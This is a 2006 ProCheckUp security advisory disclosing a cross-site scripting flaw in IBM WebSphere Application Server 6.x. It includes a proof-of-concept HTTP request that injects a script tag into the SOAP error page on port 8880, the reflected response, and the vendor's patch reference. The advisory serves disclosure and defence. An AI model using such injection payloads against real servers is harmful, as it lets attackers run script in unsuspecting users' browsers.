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Posted on 07 November 2006
Title: Cross Site Scripting (XSS) Vulnerability in IBM WebSphere Application Server ProCheckUp Security Bulletin Description: IBM WebSphere Application Server is vulnerable to Cross Site Scripting through a 'faultfactor' tag in the 500 Internal Server Error page on port 8880 (default SOAP port). Date found: 2005-02-27 Vulnerable: This has been tested on WebSphere Application Server version 6.x. Other versions may be vulnerable but this has not been verified. Severity: Medium Author: Nuri Fattah [nuri.fattah@procheckup.com] Vendor Status: CVE Candidate: Not Assigned Description: WebSphere Application Server is vulnerable to a Cross Site Scripting attack through the Internal Server Error page used on port 8880 of the default WebSphere installation. This may allow the execution of malicious script code in the browser of an individual who clicks on a link to a site using the vulnerable version of WebSphere. Information: REQUEST: GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1 Host: 192.168.1.195:8880 Connection: close RESULTS: HTTP/1.1 500 Internal Server Error Server: WebSphere Application Server/6.0 Content-Type: text/xml; charset=utf-8 Content-Length: 3013 Connection: close <?xml version='1.0' encoding='UTF-8'?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1" ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0"> </SOAP-ENV:Header> <SOAP-ENV:Body> <SOAP-ENV:Fault> [output omitted] <faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor> </SOAP-ENV:Fault> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Consequences: An attacker could cause the execution of malicious script code in the client of an individual who clicks on a link to a site using the vulnerable version of WebSphere Application Server. Fix: IBM has released patches to address this issue. They have tracked this vulnerability as APAR PK16602. References: http://www.niscc.gov.uk/niscc/docs/re-20061031-00727.pdf?lang=en Legal: Copyright 2005 ProCheckUp Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party
